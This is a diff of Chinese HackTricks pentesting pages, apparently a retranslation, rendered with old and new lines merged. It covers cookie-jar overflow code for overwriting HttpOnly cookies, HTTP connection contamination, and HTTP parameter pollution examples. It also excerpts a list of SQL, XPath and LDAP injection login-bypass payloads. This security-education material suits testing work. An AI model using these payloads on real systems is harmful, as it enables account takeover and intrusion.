</details> </details>
{% endhint %}
浏览器对页面存储的**cookie数量有限制**。因此,如果出于某种原因您需要**使一个cookie消失**,您可以**溢出cookie存储罐**因为最旧的cookie将在此之前被删除: 浏览器对每个页面可以存储的 **cookie 数量有限制**。因此,如果出于某种原因你需要 **让一个 cookie 消失**,你可以 **溢出 cookie 罐**,因为最旧的 cookie 会被删除:
```javascript ```javascript
// Set many cookies // Set many cookies
for (let i = 0; i < 700; i++) { for (let i = 0; i < 700; i++) {
@ -25,25 +26,26 @@ for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`; document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
} }
``` ```
注意指向不同域的第三方cookie不会被覆盖。 注意,指向不同域的第三方 cookies 不会被覆盖。
{% hint style="danger" %} {% hint style="danger" %}
这种攻击也可以用来**覆盖HttpOnly cookie因为你可以删除它然后用你想要的值重新设置它** 此攻击还可以用于 **覆盖 HttpOnly cookies因为您可以删除它然后用您想要的值重置它**
在[**这篇带实验室的文章**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/)检查这一点 [**这篇带实验室的文章**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/) 中检查此内容
{% endhint %} {% endhint %}
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,29 +1,45 @@
# HTTP连接污染 # HTTP Connection Contamination
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
**这是一篇文章的摘要:[https://portswigger.net/research/http-3-connection-contamination](https://portswigger.net/research/http-3-connection-contamination)**。查看以获取更多详细信息! **这是文章的摘要:[https://portswigger.net/research/http-3-connection-contamination](https://portswigger.net/research/http-3-connection-contamination)**。查看以获取更多详细信息!
Web浏览器可以通过[HTTP连接合并](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing)在共享IP地址和公共TLS证书的情况下重用单个HTTP/2+连接用于不同的网站。然而,这可能与反向代理中的**首次请求路由**发生冲突后续请求被定向到由第一个请求确定的后端。这种错误路由可能导致安全漏洞特别是当与通配符TLS证书和类似`*.example.com`的域结合时。 Web 浏览器可以通过 [HTTP 连接合并](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing) 在不同网站之间重用单个 HTTP/2+ 连接,前提是共享 IP 地址和通用 TLS 证书。然而,这可能与反向代理中的 **首次请求路由** 冲突,其中后续请求被定向到由第一次请求确定的后端。这种错误路由可能导致安全漏洞,特别是当与通配符 TLS 证书和像 `*.example.com` 这样的域名结合时。
例如,如果`wordpress.example.com`和`secure.example.com`都由同一个反向代理提供服务,并且具有共同的通配符证书,浏览器的连接合并可能会导致对`secure.example.com`的请求被错误地处理为WordPress后端从而利用XSS等漏洞。 例如,如果 `wordpress.example.com``secure.example.com` 都由同一个反向代理提供服务,并且有一个通用的通配符证书,浏览器的连接合并可能导致对 `secure.example.com` 的请求被错误地处理为 WordPress 后端,从而利用诸如 XSS 的漏洞。
要观察连接合并可以使用Chrome的网络选项卡或Wireshark等工具。以下是一个用于测试的代码片段: 要观察连接合并,可以使用 Chrome 的网络选项卡或 Wireshark 等工具。以下是测试的代码片段:
```javascript ```javascript
fetch('//sub1.hackxor.net/', {mode: 'no-cors', credentials: 'include'}).then(()=>{ fetch('//sub2.hackxor.net/', {mode: 'no-cors', credentials: 'include'}) }) fetch('//sub1.hackxor.net/', {mode: 'no-cors', credentials: 'include'}).then(()=>{ fetch('//sub2.hackxor.net/', {mode: 'no-cors', credentials: 'include'}) })
``` ```
威胁目前受限于首次请求路由的罕见性和HTTP/2的复杂性。然而HTTP/3中提出的改变放宽了IP地址匹配要求可能扩大攻击面使具有通配符证书的服务器更易受攻击而无需进行中间人攻击。 目前由于首次请求路由的稀有性和HTTP/2的复杂性威胁受到限制。然而HTTP/3中提出的更改放宽了IP地址匹配要求这可能会扩大攻击面使得使用通配符证书的服务器在不需要MITM攻击的情况下更容易受到攻击。
最佳实践包括避免在反向代理中使用首次请求路由并在HTTP/3出现时特别谨慎处理通配符TLS证书。定期测试和对这些复杂、相互关联的漏洞保持警惕对于维护网络安全至关重要。 最佳实践包括在反向代理中避免首次请求路由并对通配符TLS证书保持谨慎特别是在HTTP/3出现之后。定期测试和对这些复杂、相互关联的漏洞保持警觉对于维护网络安全至关重要。
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,31 +1,33 @@
# HTTP/2 降级中的请求串行 # HTTP/2降级中的请求走私
{% hint style="success" %}
学习和实践AWS黑客技术<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家ARTE**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践GCP黑客技术<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家GRTE**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持HackTricks</summary>
支持HackTricks的其他方式 * 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
**查看文章[https://portswigger.net/research/http-2-downgrades](https://portswigger.net/research/http-2-downgrades)** **查看帖子 [https://portswigger.net/research/http-2-downgrades](https://portswigger.net/research/http-2-downgrades)**
{% hint style="success" %}
学习和实践AWS黑客技术<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家ARTE**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践GCP黑客技术<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家GRTE**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持HackTricks</summary>
支持HackTricks的其他方式 * 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,29 +1,31 @@
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
**查看帖子:[https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)** **查看帖子:[https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,21 +1,22 @@
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
这个列表包含了通过XPath、LDAP和SQL注入绕过登录的**有效载荷**(按顺序排列)。 此列表包含 **通过 XPath、LDAP 和 SQL 注入绕过登录的有效载荷**(按此顺序)。
使用此列表的方法是将**前200行作为用户名和密码**。然后首先将完整列表放入用户名然后放入密码输入框同时输入一些密码如_Pass1234._或一些已知用户名如_admin_)。 使用此列表的方法是将 **前 200 行作为用户名和密码。** 然后,将完整列表放在用户名输入框中,然后在密码输入框中放入一些密码(如 _Pass1234._)或一些已知用户名(如 _admin_)。
``` ```
admin admin
password password
@ -822,16 +823,17 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
%8C%A8%27)||1-- 2 %8C%A8%27)||1-- 2
%bf')||1-- 2 %bf')||1-- 2
``` ```
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,72 +1,73 @@
# 参数污染 # 参数污染
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASSHackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure> <figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %} {% embed url="https://websec.nl/" %}
# HTTP参数污染HPP概述 # HTTP 参数污染 (HPP) 概述
HTTP参数污染HPP是一种攻击技术攻击者通过操纵HTTP参数以意外方式改变Web应用程序的行为。这种操纵是通过添加、修改或复制HTTP参数来实现的。这些操纵的效果对用户不直接可见但可以显着改变服务器端应用程序的功能在客户端方面产生可观察的影响。 HTTP 参数污染 (HPP) 是一种技术,攻击者通过操纵 HTTP 参数以意想不到的方式改变 Web 应用程序的行为。这种操纵是通过添加、修改或重复 HTTP 参数来实现的。这些操纵的效果对用户并不直接可见,但可以显著改变服务器端应用程序的功能,并在客户端产生可观察的影响。
## HTTP参数污染HPP示例 ## HTTP 参数污染 (HPP) 示例
银行应用程序的交易URL 一个银行应用程序的交易 URL
- **原始URL** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000` - **原始 URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
通过插入额外的`from`参数: 通过插入一个额外的 `from` 参数:
- **操纵后的URL** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC` - **操纵后的 URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
交易可能会错误地计入`accountC`而不是`accountA`展示了HPP操纵交易或其他功能如密码重置、双因素认证设置或API密钥请求的潜力。 交易可能错误地从 `accountA` 收费到 `accountC`,展示了 HPP 操纵交易或其他功能(如密码重置、双因素认证设置或 API 密钥请求)的潜力。
### **特定技术的参数解析** ### **特定技术的参数解析**
- 参数的解析和优先级取决于基础Web技术影响HPP的利用方式。 - 参数的解析和优先级取决于底层 Web 技术,影响 HPP 的利用方式。
- 工具如[Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)有助于识别这些技术及其解析行为。 - 像 [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) 这样的工具有助于识别这些技术及其解析行为。
## PHP和HPP利用 ## PHP HPP 利用
**OTP操纵案例:** **一次性密码 (OTP) 操作案例:**
- **背景:** 一个需要一次性密码OTP的登录机制被利用。 - **背景:** 一个需要一次性密码 (OTP) 的登录机制被利用。
- **方法:** 通过使用Burp Suite等工具拦截OTP请求攻击者复制了HTTP请求中的`email`参数。 - **方法:** 通过使用 Burp Suite 等工具拦截 OTP 请求,攻击者在 HTTP 请求中重复了 `email` 参数。
- **结果:** OTP原本应发送到初始电子邮件地址但却发送到了操纵请求中指定的第二个电子邮件地址。这个漏洞允许绕过预期的安全措施未经授权地访问。 - **结果:** 本应发送到初始电子邮件的 OTP 被发送到操纵请求中指定的第二个电子邮件地址。这个缺陷允许通过绕过预期的安全措施获得未授权访问。
种情况突显了应用程序后端的一个关键疏忽,该后端处理第一个`email`参数以生成OTP但使用最后一个参数进行传递 个场景突显了应用程序后端的一个关键疏漏,该后端处理第一个 `email` 参数以生成 OTP但使用最后一个进行发送
**API密钥操纵案例** **API 密钥操纵案例:**
- **场景:** 一个应用程序允许用户通过个人资料设置页面更新他们的API密钥。 - **场景:** 一个应用程序允许用户通过个人资料设置页面更新他们的 API 密钥。
- **攻击向量:** 攻击者发现通过向POST请求附加额外的`api_key`参数可以操纵API密钥更新功能的结果。 - **攻击向量:** 攻击者发现通过向 POST 请求附加一个额外的 `api_key` 参数,可以操纵 API 密钥更新功能的结果。
- **技术:** 利用Burp Suite等工具攻击者构造了一个请求其中包括两个`api_key`参数:一个合法的,一个恶意的。服务器只处理最后一个出现的参数将API密钥更新为攻击者提供的值。 - **技术:** 利用像 Burp Suite 这样的工具,攻击者构造一个包含两个 `api_key` 参数的请求:一个合法的和一个恶意的。服务器只处理最后一个出现的参数,将 API 密钥更新为攻击者提供的值。
- **结果:** 攻击者控制了受害者的API功能可能未经授权地访问或修改私人数据。 - **结果:** 攻击者控制了受害者的 API 功能,可能未经授权访问或修改私有数据。
这个例子进一步强调了安全参数处理的必要性特别是在像API密钥管理这样关键的功能中。 这个例子进一步强调了安全参数处理的必要性,特别是在像 API 密钥管理这样关键的功能中。
## 参数解析Flask vs. PHP ## 参数解析Flask PHP
Web技术处理重复HTTP参数的方式不同影响它们对HPP攻击的易受性: Web 技术处理重复 HTTP 参数的方式各不相同,影响其对 HPP 攻击的易受性:
- **Flask** 采用遇到的第一个参数值,例如在查询字符串`a=1&a=2`中优先考虑初始实例`a=1`而不是后续的重复。 - **Flask** 采用遇到的第一个参数值,例如在查询字符串 `a=1&a=2` 中,优先考虑初始实例而非后续重复。
